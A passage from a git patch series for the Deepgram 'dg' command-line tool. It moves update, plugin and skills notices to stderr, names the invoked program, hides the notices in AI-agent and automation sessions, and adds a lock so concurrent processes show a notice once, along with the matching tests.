+    env.update(extra)
+    return env
+
+
+# Modules that only a background check or a connection would load.
+CHECK_MODULES = (
+    "httpx",
+    "websockets",
+    "deepctl_cmd_update.startup_check",
+    "deepctl_cmd_update.plugin_update_check",
+    "deepctl_cmd_skills.startup_check",
+)
+NETMODS = (
+    "import atexit, sys\n"
+    "atexit.register(lambda: sys.stderr.write('NETMODS=' + ','.join("
+    f"sorted(m for m in {CHECK_MODULES!r} "
+    "if m in sys.modules)) + '\\n'))\n" + ENTRY.replace("; ", "\n")
+)
+
+
+@pytest.mark.parametrize("args", [[], ["-o", "json"]])
+def test_command_prints_text_offline(tmp_path: Path, args: list[str]) -> None:
+    proc = subprocess.run(
+        [sys.executable, "-c", NETMODS, *args, "help", "agent-mode"],
+        stdin=subprocess.DEVNULL,
+        capture_output=True,
+        text=True,
+        env=_env(tmp_path, CLAUDECODE="1"),
+        timeout=60,
+        cwd=tmp_path,
+    )
+    assert proc.returncode == 0, proc.stderr
+    assert proc.stdout.startswith("AGENT MODE\n")
+    assert "CONFIG FILES IN AGENT SESSIONS" in proc.stdout
+    assert "Agent mode: on, because CLAUDECODE is set." in proc.stdout
+    # No background check and no network stack: nothing to connect with.
+    assert "NETMODS=\n" in proc.stderr, proc.stderr
+
+
+@pytest.mark.skipif(os.name != "posix", reason="needs a pseudo-terminal")
+def test_person_at_a_terminal_starts_no_checks(tmp_path: Path) -> None:
+    """A person's terminal, with no opt-out: the update, plugin-update
+    and skills checks would all run for another command, never for a
+    help topic."""
+    import pty
+
+    env = _env(tmp_path, TERM="xterm")
+    env.pop("DEEPCTL_NO_UPDATE_CHECK")
+    from deepctl_cmd_update.startup_check import _CI_ENV_VARS
+
+    for name in _CI_ENV_VARS:
+        env.pop(name, None)
+    controller, terminal = pty.openpty()
+    try:
+        proc = subprocess.Popen(
+            [sys.executable, "-c", NETMODS, "help", "agent-mode"],
+            stdin=terminal,
+            stdout=terminal,
+            stderr=terminal,
+            env=env,
+            cwd=tmp_path,
+        )
+        os.close(terminal)
+        terminal = -1
+        chunks = []
+        while True:
+            try:
+                chunk = os.read(controller, 65536)
+            except OSError:  # EIO: the child closed its side
+                break
+            if not chunk:
+                break
+            chunks.append(chunk)
+        assert proc.wait(timeout=60) == 0
+    finally:
+        os.close(controller)
+        if terminal >= 0:
+            os.close(terminal)
+    out = b"".join(chunks).decode("utf-8", "replace").replace("\r\n", "\n")
+    assert "Agent mode: off." in out, out
+    assert "NETMODS=\n" in out, out
+
+
+def test_help_lists_the_topic(tmp_path: Path) -> None:
+    proc = subprocess.run(
+        [sys.executable, "-c", ENTRY, "help", "--help"],
+        stdin=subprocess.DEVNULL,
+        capture_output=True,
+        text=True,
+        env=_env(tmp_path),
+        timeout=60,
+        cwd=tmp_path,
+    )
+    assert proc.returncode == 0, proc.stderr
+    assert "agent-mode" in proc.stdout
+
+
+def test_windows_gets_no_chmod(monkeypatch: pytest.MonkeyPatch) -> None:
+    import sys
+
+    monkeypatch.setattr(sys, "platform", "win32")
+    text = " ".join(_render(CLAUDECODE="1").split())
+    assert "chmod" not in text
+    assert "On Windows, dg doesn't check the file's owner or permissions." in text
diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
index 09c6f013..acd96272 100644
--- a/tests/unit/test_lazy_group.py
+++ b/tests/unit/test_lazy_group.py
@@ -412,7 +412,7 @@ def test_rewrite(
         assert debug_with_extra._expand_command_word(ctx, args) == expected
 
     def test_groups_come_from_the_manifest(self) -> None:
-        assert _manifest.groups() == {"debug", "plugin", "skills"}
+        assert _manifest.groups() == {"debug", "help", "plugin", "skills"}
 
     def test_hot_paths_never_scan_subcommand_entry_points(
         self,
diff --git a/tests/unit/test_manifest.py b/tests/unit/test_manifest.py
index d78e1963..0e3e6345 100644
--- a/tests/unit/test_manifest.py
+++ b/tests/unit/test_manifest.py
@@ -52,7 +52,7 @@ class TestRepoManifest:
     def test_assembles(self) -> None:
         manifest = assemble(str(FRAGMENTS))
         assert manifest["manifest_version"] == 1
-        assert len([p for p in manifest["commands"] if " " not in p]) == 24
+        assert len([p for p in manifest["commands"] if " " not in p]) == 25
 
     def test_runtime_reads_the_same_manifest(self) -> None:
         assert _manifest.load() == assemble(str(FRAGMENTS))
@@ -129,7 +129,9 @@ def test_every_first_party_entry_point_has_a_fragment(self) -> None:
             import tomli as tomllib
 
         declared: dict[str, str] = {}
-        for pyproject in sorted(REPO.glob("packages/deepctl-cmd-*/pyproject.toml")):
+        pyprojects = [REPO / "pyproject.toml"]
+        pyprojects += sorted(REPO.glob("packages/deepctl-cmd-*/pyproject.toml"))
+        for pyproject in pyprojects:
             data = tomllib.loads(pyproject.read_text(encoding="utf-8"))
             groups = data.get("project", {}).get("entry-points", {})
             for group, entries in groups.items():
@@ -271,9 +273,10 @@ def test_every_fragment_has_a_help_block(self) -> None:
         assert all("help" in f for f in load_fragments(str(FRAGMENTS)))
 
     def test_help_stays_out_of_the_manifest(self) -> None:
-        text = _manifest_build.dumps(assemble(str(FRAGMENTS)))
+        manifest = assemble(str(FRAGMENTS))
+        text = _manifest_build.dumps(manifest)
         assert '"params"' not in text
-        assert '"help"' not in text
+        assert all("help" not in entry for entry in manifest["commands"].values())
 
     def _check(self, directory: Path) -> subprocess.CompletedProcess[str]:
         return subprocess.run(

From aefb1ba62f12db59308ef4322808338f9382e820 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 15:24:10 -0500
Subject: [PATCH 55/88] fix(cli): keep warnings and notices off stdout

Every notice now goes to stderr, prints once, and names the program
the way it was invoked:

- A person at a terminal whose environment carries an AI-agent
  marker gets one INFO line saying why dg is in agent mode and
  pointing to "dg help agent-mode". It names no shell command, and
  it never prints when DG_AGENT decides the mode or without a
  terminal.
- The skills prompt, the update notice and the plugin update notice
  no longer show in agent or automation sessions, use colour only on
  a person's terminal (NO_COLOR and TERM=dumb turn it off,
  FORCE_COLOR turns it on), and name the invoked program.
- Copying a legacy config is reported through the config notice
  queue, so it follows the INFO:/WARN: prefixes and --quiet.
- dg ffprobe --path reports a bad path through the error console,
  with the ERROR: prefix in agent mode, once.
- The pending-login profile error names the invoked program.
- dg --version prints "dg, version ...", "deepgram, version ..." or
  "deepctl, version ..." as invoked (DEEPCTL_PROG_NAME first, as for
  every other message), on the fast path and the Click path alike. For
  the changelog, "--version now prints the name you ran (dg, deepgram
  or deepctl)". The bug report template's example follows.

New subprocess tests pin -o json stdout to one JSON document with a
malformed or unreadable config, with the warning once on stderr.
---
 .github/ISSUE_TEMPLATE/bug_report.yml         |   2 +-
 .../src/deepctl_cmd_ffprobe/command.py        |  10 +-
 .../src/deepctl_cmd_login/command.py          |   5 +-
 .../tests/unit/test_login_device_agent.py     |  13 +
 .../src/deepctl_cmd_skills/startup_check.py   |  12 +-
 .../tests/unit/test_skills_command.py         |  29 ++
 .../src/deepctl_cmd_update/check_cache.py     | 116 +++++++-
 .../deepctl_cmd_update/plugin_update_check.py |  31 +-
 .../src/deepctl_cmd_update/startup_check.py   |  26 +-
 .../tests/unit/test_notices.py                | 102 +++++++
 .../tests/unit/test_plugin_update_check.py    |  10 +-
 .../tests/unit/test_startup_check.py          | 138 +++++++++
 .../deepctl-core/src/deepctl_core/agents.py   |  27 ++
 .../deepctl-core/src/deepctl_core/config.py   |  25 +-
 .../deepctl-core/tests/unit/test_agents.py    |  39 +++
 .../tests/unit/test_config_login.py           |   5 +-
 src/deepctl/_cli.py                           |  44 ++-
 src/deepctl/main.py                           |  27 +-
 tests/unit/test_lazy_group.py                 |   2 +-
 tests/unit/test_stream_discipline.py          | 280 ++++++++++++++++++
 20 files changed, 877 insertions(+), 66 deletions(-)
 create mode 100644 packages/deepctl-cmd-update/tests/unit/test_notices.py
 create mode 100644 tests/unit/test_stream_discipline.py

diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml
index b0b920e0..60ba77b4 100644
--- a/.github/ISSUE_TEMPLATE/bug_report.yml
+++ b/.github/ISSUE_TEMPLATE/bug_report.yml
@@ -117,7 +117,7 @@ body:
     attributes:
       label: CLI version
       description: Output of `dg --version`
-      placeholder: "deepctl, version 0.2.2"
+      placeholder: "dg, version 0.5.0"
     validations:
       required: true
 
diff --git a/packages/deepctl-cmd-ffprobe/src/deepctl_cmd_ffprobe/command.py b/packages/deepctl-cmd-ffprobe/src/deepctl_cmd_ffprobe/command.py
index 4abe53f7..21941857 100644
--- a/packages/deepctl-cmd-ffprobe/src/deepctl_cmd_ffprobe/command.py
+++ b/packages/deepctl-cmd-ffprobe/src/deepctl_cmd_ffprobe/command.py
@@ -97,9 +97,7 @@ def handle(
         reset = kwargs.get("reset", False)
 
         if path and reset:
-            status_console.print(
-                "[red]Error:[/red] Cannot use --path and --reset together"
-            )
+            print_error("Cannot use --path and --reset together")
             return BaseResult(
                 status="error",
                 message="Cannot use --path and --reset together",
@@ -126,13 +124,15 @@ def handle(
 
     def _handle_set_path(self, config: Config, path: str) -> BaseResult:
         """Store a custom ffprobe path."""
+        from rich.markup import escape
+
         # Validate the path
         if not os.path.isfile(path):
-            status_console.print(f"[red]Error:[/red] File not found: {path}")
+            print_error(f"File not found: {escape(path)}")
             return BaseResult(status="error", message=f"File not found: {path}")
 
         if not os.access(path, os.X_OK):
-            status_console.print(f"[red]Error:[/red] File is not executable: {path}")
+            print_error(f"File is not executable: {escape(path)}")
             return BaseResult(status="error", message=f"File is not executable: {path}")
 
         # Store in config. Only absolute paths are used, so resolve it now.
diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index c05eead3..8869937b 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -1140,8 +1140,9 @@ def _complete(
             # The pending login was confirmed for its own profile.
             raise click.UsageError(
                 f'The pending login is for profile "{msg.display(pending.profile)}". '
-                "Run --complete without --profile, or start a new login for "
-                f'"{msg.display(explicit)}" with dg login --profile.'
+                f"Run {shown} login --complete without --profile, or start a new "
+                f'login for "{msg.display(explicit)}" with {shown} login --profile '
+                f"{msg.display(shlex.quote(explicit))}."
             )
         config.profile = pending.profile
         interval = pending.interval
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
index b5d1eca4..527da2dd 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
@@ -747,6 +747,19 @@ def test_complete_with_another_profile_is_a_usage_error(env):
     assert result.code == "auth_pending"
 
 
+def test_other_profile_error_suggests_commands_that_run(env):
+    import click
+
+    run(env, profile="work")
+    with pytest.raises(click.UsageError) as err:
+        run(env, complete=True, profile="my team")
+    assert err.value.message == (
+        'The pending login is for profile "work". Run dg login --complete '
+        'without --profile, or start a new login for "my team" with dg login '
+        "--profile 'my team'."
+    )
+
+
 def test_complete_with_save_base_url_is_a_usage_error(env):
     import click
 
diff --git a/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/startup_check.py b/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/startup_check.py
index 35deb9c2..ac295fe3 100644
--- a/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/startup_check.py
+++ b/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/startup_check.py
@@ -153,12 +153,18 @@ def print_pending_notification() -> None:
     if thread is None or thread.is_alive():
         return
 
+    from deepctl_core.output import invoked_prog, stderr_color
+
     if _result.get("should_prompt"):
         try:
-            sys.stderr.write(
-                "\033[36mAI coding assistants detected. "
-                "Run 'deepctl skills install' to set up integration.\033[0m\n"
+            line = (
+                "Found AI coding agents on this computer. "
+                f"Run {invoked_prog()} skills install to add Deepgram skills "
+                "to them."
             )
+            if stderr_color():
+                line = f"\033[36m{line}\033[0m"
+            sys.stderr.write(line + "\n")
         except (BrokenPipeError, OSError, ValueError):
             # The output stream closed (e.g. an MCP host disconnected stdio
             # after `dg mcp` finished). The prompt is purely advisory.
diff --git a/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py b/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
index 4567d8e3..4abf3b5f 100644
--- a/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
+++ b/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
@@ -6,6 +6,7 @@
 import os
 import shutil
 import sys
+import threading
 import time
 from pathlib import Path
 from unittest.mock import MagicMock, patch
@@ -959,6 +960,34 @@ def test_suppressed_in_ci(self, mock_ci):
         startup_check.check_and_notify(quiet=False)
         assert startup_check._thread is None
 
+    @pytest.mark.parametrize(
+        "env", [{"AI_AGENT": "claude-code"}, {"CI": "true"}, {"DG_AGENT": "1"}]
+    )
+    def test_suppressed_in_agent_sessions(self, monkeypatch, env):
+        from deepctl_cmd_skills import startup_check
+
+        monkeypatch.setattr(startup_check, "_is_ci", lambda: False)
+        monkeypatch.setattr(startup_check, "_is_oneshot", lambda: False)
+        monkeypatch.setattr(startup_check, "_already_prompted", lambda: False)
+        for name, value in env.items():
+            monkeypatch.setenv(name, value)
+        startup_check.check_and_notify(quiet=False)
+        assert startup_check._thread is None
+
+    def test_nag_names_the_program_without_forced_colour(self, monkeypatch, capsys):
+        from deepctl_cmd_skills import startup_check
+
+        monkeypatch.setenv("DEEPCTL_PROG_NAME", "dg")
+        monkeypatch.setattr(startup_check, "_result", {"should_prompt": True})
+        thread = threading.Thread(target=lambda: None)
+        thread.start()
+        monkeypatch.setattr(startup_check, "_thread", thread)
+        startup_check.print_pending_notification()
+        assert capsys.readouterr().err == (
+            "Found AI coding agents on this computer. "
+            "Run dg skills install to add Deepgram skills to them.\n"
+        )
+
     def test_suppressed_when_quiet(self):
         from deepctl_cmd_skills import startup_check
 
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py
index ecf7ef8a..d9ab5e2d 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py
@@ -2,8 +2,8 @@
 
 Each check has one small JSON file there, ``update-check.json`` for dg itself
 and ``plugin-update-check.json`` for plugins, holding ``checked_at`` (Unix
-time), ``ok``, ``latest`` and ``source``, plus ``notified_at`` once a notice
-was shown. A check writes its file just before it sends its request and again
+time), ``ok``, ``latest`` and ``source``, plus ``notified_at`` and
+``notified_latest`` once a notice was shown (``claim_notice``). A check writes its file just before it sends its request and again
 when it gets an answer, so a check that fails or never finishes still waits a
 full interval before the next attempt, while a run that ends before the
 request goes out doesn't use up the interval.
@@ -113,19 +113,107 @@ def _save(name: str, state: dict[str, Any]) -> None:
 
 
 def write(name: str, *, ok: bool, latest: str | None, source: str) -> None:
-    """Save the state of a check that ran now. Never raises."""
-    _save(
-        name,
-        {"checked_at": time.time(), "ok": ok, "latest": latest, "source": source},
-    )
-
-
-def mark_notified(name: str) -> None:
-    """Record that the notice for the saved state was shown now."""
-    state = read(name)
-    if state is not None:
-        state["notified_at"] = time.time()
+    """Save the state of a check that ran now. Never raises. When the
+    last notice was shown (``notified_at``, ``notified_latest``) carries
+    over, so a check that finishes right after another process showed the
+    notice doesn't make it show again. The read and save run under the
+    ``claim_notice`` lock, so a claim can't land in between and be lost;
+    if the lock stays taken for ``WRITE_LOCK_WAIT_SECONDS`` (a process
+    that died holding it), the state is saved without it."""
+    directory = _directory()
+    lock = None
+    if directory is not None:
+        path = os.path.join(directory, f".{name}.lock")
+        give_up = time.monotonic() + WRITE_LOCK_WAIT_SECONDS
+        while (taken := _take_lock(path)) is False and time.monotonic() < give_up:
+            time.sleep(0.01)
+        lock = path if taken else None
+    try:
+        state: dict[str, Any] = {
+            "checked_at": time.time(),
+            "ok": ok,
+            "latest": latest,
+            "source": source,
+        }
+        previous = read(name) or {}
+        for key in ("notified_at", "notified_latest"):
+            if key in previous:
+                state[key] = previous[key]
         _save(name, state)
+    finally:
+        if lock is not None:
+            _release_lock(lock)
+
+
+def notice_due(state: dict[str, Any] | None, latest: str, interval: float) -> bool:
+    """Whether the notice for ``latest`` may show: it wasn't shown for
+    that version within ``interval``."""
+    if (state or {}).get("notified_latest") != latest:
+        return True
+    return elapsed(notified_at(state), interval)
+
+
+LOCK_STALE_SECONDS = 60.0
+WRITE_LOCK_WAIT_SECONDS = 0.5
+
+
+def _take_lock(lock: str) -> bool | None:
+    """Create ``lock`` (``O_EXCL``): True if this process now holds it,
+    False if another does, None if it can't be created at all."""
+    flags = os.O_WRONLY | os.O_CREAT | os.O_EXCL | getattr(os, "O_NOFOLLOW", 0)
+    try:
+        os.close(os.open(lock, flags, 0o600))
+    except FileExistsError:
+        return False
+    except OSError:
+        return None
+    return True
+
+
+def _release_lock(lock: str) -> None:
+    try:
+        os.unlink(lock)
+    except OSError:
+        pass
+
+
+def claim_notice(name: str, latest: str, interval: float) -> bool:
+    """Whether this process shows the notice for ``latest`` now; if so,
+    it is recorded as shown. Of several dg processes that finish together,
+    at most one gets True.
+
+    The claim is a lock file next to the state file (``.<name>.lock``,
+    created with ``O_EXCL``), held while the state is read again and the
+    notice recorded. A process that finds the lock taken shows nothing.
+    A lock older than a minute was left by a process that died: it is
+    removed, and this run shows nothing. With no usable cache directory,
+    or a lock that can't be created there, there is nothing to coordinate
+    with, and the notice shows."""
+    directory = _directory()
+    if directory is None:
+        return True
+    lock = os.path.join(directory, f".{name}.lock")
+    taken = _take_lock(lock)
+    if taken is None:
+        return True  # no lock can be made here: showing twice beats never
+    if not taken:
+        try:
+            if time.time() - os.lstat(lock).st_mtime > LOCK_STALE_SECONDS:
+                os.unlink(lock)
+        except OSError:
+            pass
+        return False
+    try:
+        state = read(name)
+        if not notice_due(state, latest, interval):
+            return False
+        if state is not None:
+            state["notified_at"] = time.time()
+            state["notified_latest"] = latest
+            _save(name, state)
+        return True
+    finally:
+        _release_lock(lock)
 
 
 def _time(state: dict[str, Any] | None, key: str) -> float:
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
index d4783964..5c6e638a 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
@@ -249,22 +249,23 @@ def print_pending_plugin_notifications() -> None:
     if not updates:
         return
 
+    from deepctl_core.output import invoked_prog, stderr_color
+
+    prog = invoked_prog()
+    if len(updates) == 1:
+        u = updates[0]
+        lines = [
+            f"Plugin update available: {u['name']} {u['current']} → {u['latest']}"
+            f"  —  run {prog} plugin update {u['name']} to upgrade"
+        ]
+    else:
+        lines = ["Plugin updates available:"]
+        lines += [f"  {u['name']} {u['current']} → {u['latest']}" for u in updates]
+        lines.append(f"Run {prog} plugin update <name> to upgrade")
+    if stderr_color():
+        lines = [f"\033[33m{line}\033[0m" for line in lines]
     try:
-        if len(updates) == 1:
-            u = updates[0]
-            sys.stderr.write(
-                f"\033[33mPlugin update available: {u['name']} {u['current']} → {u['latest']}"
-                f"  —  run 'deepctl plugin update {u['name']}' to upgrade\033[0m\n"
-            )
-        else:
-            sys.stderr.write("\033[33mPlugin updates available:\033[0m\n")
-            for u in updates:
-                sys.stderr.write(
-                    f"\033[33m  {u['name']} {u['current']} → {u['latest']}\033[0m\n"
-                )
-            sys.stderr.write(
-                "\033[33mRun 'deepctl plugin update <name>' to upgrade\033[0m\n"
-            )
+        sys.stderr.write("".join(f"{line}\n" for line in lines))
     except (BrokenPipeError, OSError, ValueError):
         # The output stream closed (e.g. an MCP host disconnected stdio
         # after `dg mcp` finished). These notifications are purely advisory.
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
index fbd8d148..d45f2cb8 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
@@ -187,7 +187,7 @@ def _newer_saved(
     latest = state.get("latest")
     if not isinstance(latest, str):
         return None
-    if not check_cache.elapsed(check_cache.notified_at(state), interval):
+    if not check_cache.notice_due(state, latest, interval):
         return None
     try:
         from packaging import version as pkg_version
@@ -204,6 +204,8 @@ def _newer_saved(
 _result: dict[str, Any] = {}
 # A notice from the saved answer, when no check ran this time.
 _saved_notice: tuple[str, str] | None = None
+# The check interval this run used: a notice shows at most once per interval.
+_interval: float = 86400.0
 
 
 def check_and_notify(
@@ -221,7 +223,7 @@ def check_and_notify(
             detected automatically from package metadata.
         quiet: If True, suppress the check entirely.
     """
-    global _thread, _result, _saved_notice
+    global _thread, _result, _saved_notice, _interval
     _thread = None
     _result = {}
     _saved_notice = None
@@ -232,6 +234,7 @@ def check_and_notify(
     interval = _get_check_interval_seconds(quiet)
     if interval is None:
         return
+    _interval = interval
 
     # A cache directory that can't be made private: no check, no state.
     if not check_cache.usable():
@@ -280,14 +283,23 @@ def print_pending_notification() -> None:
         return
 
     current, latest = notice
-    try:
-        sys.stderr.write(
-            f"\n\033[33m  Update available:  {current} → {latest}"
-            f"  —  run \033[1mdg update\033[0m\033[33m to upgrade\033[0m\n\n"
+    # Several dg processes can finish together: only one shows it.
+    if not check_cache.claim_notice(check_cache.UPDATE_FILE, latest, _interval):
+        return
+    from deepctl_core.output import invoked_prog, stderr_color
+
+    command = f"{invoked_prog()} update"
+    if stderr_color():
+        line = (
+            f"\033[33m  Update available:  {current} → {latest}"
+            f"  —  run \033[1m{command}\033[0m\033[33m to upgrade\033[0m"
         )
+    else:
+        line = f"  Update available:  {current} → {latest}  —  run {command} to upgrade"
+    try:
+        sys.stderr.write(f"\n{line}\n\n")
     except (BrokenPipeError, OSError, ValueError):
         # The output stream closed (e.g. an MCP host disconnected stdio
         # after `dg mcp` finished). Nothing useful to do — the notification
         # is purely advisory.
         return
-    check_cache.mark_notified(check_cache.UPDATE_FILE)
diff --git a/packages/deepctl-cmd-update/tests/unit/test_notices.py b/packages/deepctl-cmd-update/tests/unit/test_notices.py
new file mode 100644
index 00000000..af8fd314
--- /dev/null
+++ b/packages/deepctl-cmd-update/tests/unit/test_notices.py
@@ -0,0 +1,102 @@
+"""Update notices: never in agent or automation sessions, plain text unless
+a person's terminal allows colour, and the command named as invoked."""
+
+from __future__ import annotations
+
+import io
+import sys
+import threading
+from unittest.mock import patch
+
+import pytest
+from deepctl_cmd_update import plugin_update_check, startup_check
+from deepctl_core import output
+
+
+@pytest.fixture(autouse=True)
+def _person_session(monkeypatch):
+    """Run as a person's session: the test runner has no terminal, which
+    reads as automation and would skip every check."""
+    from deepctl_cmd_update import plugin_update_check, startup_check
+
+    monkeypatch.setattr(startup_check, "_is_agent", lambda: False)
+    monkeypatch.setenv("DEEPCTL_PROG_NAME", "dg")
+
+
+def _pending(module, result):
+    module._result = result
+    module._thread = threading.Thread(target=lambda: None)
+    module._thread.start()
+    # The notice prints only for a finished check.
+    module._thread.join()
+
+
+class _Tty(io.StringIO):
+    def isatty(self) -> bool:
+        return True
+
+
+def _stderr(tty: bool) -> io.StringIO:
+    return _Tty() if tty else io.StringIO()
+
+
+@pytest.fixture
+def person(monkeypatch):
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    for name in ("NO_COLOR", "FORCE_COLOR"):
+        monkeypatch.delenv(name, raising=False)
+    monkeypatch.setenv("TERM", "xterm-256color")
+
+
+@pytest.mark.parametrize("module", [startup_check, plugin_update_check])
+def test_no_check_in_an_agent_session(monkeypatch, module):
+    monkeypatch.setattr(startup_check, "_is_agent", lambda: True)
+    for name in ("_is_ci", "_is_oneshot"):
+        monkeypatch.setattr(startup_check, name, lambda: False)
+    monkeypatch.setattr(startup_check, "_stderr_is_terminal", lambda: True)
+    module._thread = None
+    if module is startup_check:
+        module.check_and_notify(current_version="1.0.0")
+    else:
+        module.check_plugins_and_notify()
+    assert module._thread is None
+
+
+@pytest.mark.parametrize(
+    ("tty", "env", "colour"),
+    [
+        (True, {}, True),
+        (True, {"NO_COLOR": "1"}, False),
+        (True, {"TERM": "dumb"}, False),
+        (False, {}, False),
+        (False, {"FORCE_COLOR": "1"}, True),
+        (False, {"FORCE_COLOR": "1", "NO_COLOR": "1"}, False),
+    ],
+)
+def test_update_notice_colour(person, monkeypatch, tty, env, colour):
+    for name, value in env.items():
+        monkeypatch.setenv(name, value)
+    monkeypatch.setenv("DEEPCTL_PROG_NAME", "dg")
+    _pending(startup_check, {"latest": "2.0.0", "current": "1.0.0"})
+    err = _stderr(tty)
+    with patch.object(sys, "stderr", err):
+        startup_check.print_pending_notification()
+    text = err.getvalue()
+    assert ("\033[" in text) is colour
+    assert "run dg update to upgrade" in text.replace("\033[1m", "").replace(
+        "\033[0m\033[33m", ""
+    )
+
+
+def test_plugin_notice_plain_without_terminal(person, monkeypatch):
+    monkeypatch.setenv("DEEPCTL_PROG_NAME", "dg")
+    _pending(
+        plugin_update_check,
+        {"updates": [{"name": "p", "current": "1", "latest": "2"}]},
+    )
+    err = _stderr(False)
+    with patch.object(sys, "stderr", err):
+        plugin_update_check.print_pending_plugin_notifications()
+    assert err.getvalue() == (
+        "Plugin update available: p 1 → 2  —  run dg plugin update p to upgrade\n"
+    )
diff --git a/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py b/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
index 0c5cbc08..e754b7a3 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
@@ -41,6 +41,12 @@ def check_allowed(monkeypatch, cache_dir):
     return cache_dir
 
 
+
+@pytest.fixture(autouse=True)
+def _invoked_as_dg(monkeypatch):
+    """Notices name the program as invoked; these tests expect dg."""
+    monkeypatch.setenv("DEEPCTL_PROG_NAME", "dg")
+
 # ---------------------------------------------------------------------------
 # _is_excluded
 # ---------------------------------------------------------------------------
@@ -371,7 +377,7 @@ def test_single_plugin_format(self):
         assert "deepctl-plugin-whisper" in output
         assert "0.1.0" in output
         assert "0.2.0" in output
-        assert "deepctl plugin update deepctl-plugin-whisper" in output
+        assert "dg plugin update deepctl-plugin-whisper" in output
 
     def test_multiple_plugin_format(self):
         import deepctl_cmd_update.plugin_update_check as mod
@@ -398,7 +404,7 @@ def test_multiple_plugin_format(self):
         assert "Plugin updates available:" in output
         assert "deepctl-plugin-whisper" in output
         assert "deepctl-plugin-asr" in output
-        assert "deepctl plugin update <name>" in output
+        assert "dg plugin update <name>" in output
 
     @pytest.mark.parametrize(
         "error",
diff --git a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
index 4d7b2684..28b75fcc 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
@@ -68,6 +68,12 @@ def _finished_thread() -> threading.Thread:
     return thread
 
 
+@pytest.fixture(autouse=True)
+def _invoked_as_dg(monkeypatch):
+    """Notices name the program as invoked; these tests expect dg."""
+    monkeypatch.setenv("DEEPCTL_PROG_NAME", "dg")
+
+
 class TestCIDetection:
     """Test CI environment detection."""
 
@@ -565,3 +571,135 @@ def test_in_time_notice_is_not_repeated_from_the_cache(self, check_allowed):
         assert "2.0.0" in self._notice()
         check_and_notify(current_version="1.0.0")
         assert self._notice() == ""
+
+
+
+# One dg process finishing: claim the notice for 2.0.0 at a set time.
+_CLAIM = """
+import sys, time
+from deepctl import _cache
+from deepctl_cmd_update import check_cache
+_cache.cache_root = lambda: sys.argv[1]
+start = float(sys.argv[2])
+while time.time() < start:
+    pass
+print(check_cache.claim_notice(check_cache.UPDATE_FILE, "2.0.0", 86400.0))
+"""
+
+class TestNoticeOnce:
+    """Several dg processes finishing together show the notice once."""
+
+    @staticmethod
+    def _state(cache_dir, **extra):
+        assert check_cache.usable()
+        check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="2.0.0", source="x")
+        state = check_cache.read(check_cache.UPDATE_FILE)
+        state.update(extra)
+        check_cache._save(check_cache.UPDATE_FILE, state)
+        return cache_dir
+
+    def test_concurrent_processes_claim_once(self, check_allowed):
+        import subprocess
+
+        self._state(check_allowed)
+        start = time.time() + 3.0
+        procs = [
+            subprocess.Popen(
+                [sys.executable, "-c", _CLAIM, str(check_allowed), str(start)],
+                stdout=subprocess.PIPE,
+                text=True,
+            )
+            for _ in range(6)
+        ]
+        results = [proc.communicate(timeout=60)[0].strip() for proc in procs]
+        assert results.count("True") == 1, results
+        assert results.count("False") == 5, results
+        state = check_cache.read(check_cache.UPDATE_FILE)
+        assert state["notified_latest"] == "2.0.0"
+        assert not list(check_allowed.glob(".*.lock"))
+
+    def test_lock_taken_shows_nothing(self, check_allowed):
+        self._state(check_allowed)
+        lock = check_allowed / f".{check_cache.UPDATE_FILE}.lock"
+        lock.write_text("")
+        assert check_cache.claim_notice(check_cache.UPDATE_FILE, "2.0.0", 86400.0) is False
+        assert lock.exists()  # a fresh lock belongs to a live process
+        os.utime(lock, (1, 1))
+        assert check_cache.claim_notice(check_cache.UPDATE_FILE, "2.0.0", 86400.0) is False
+        assert not lock.exists()  # a stale one is cleared for the next run
+        assert check_cache.claim_notice(check_cache.UPDATE_FILE, "2.0.0", 86400.0) is True
+
+    def test_a_check_finishing_later_keeps_the_record(self, check_allowed):
+        """A second process's fresh check that lands after the first showed
+        the notice doesn't make it show again."""
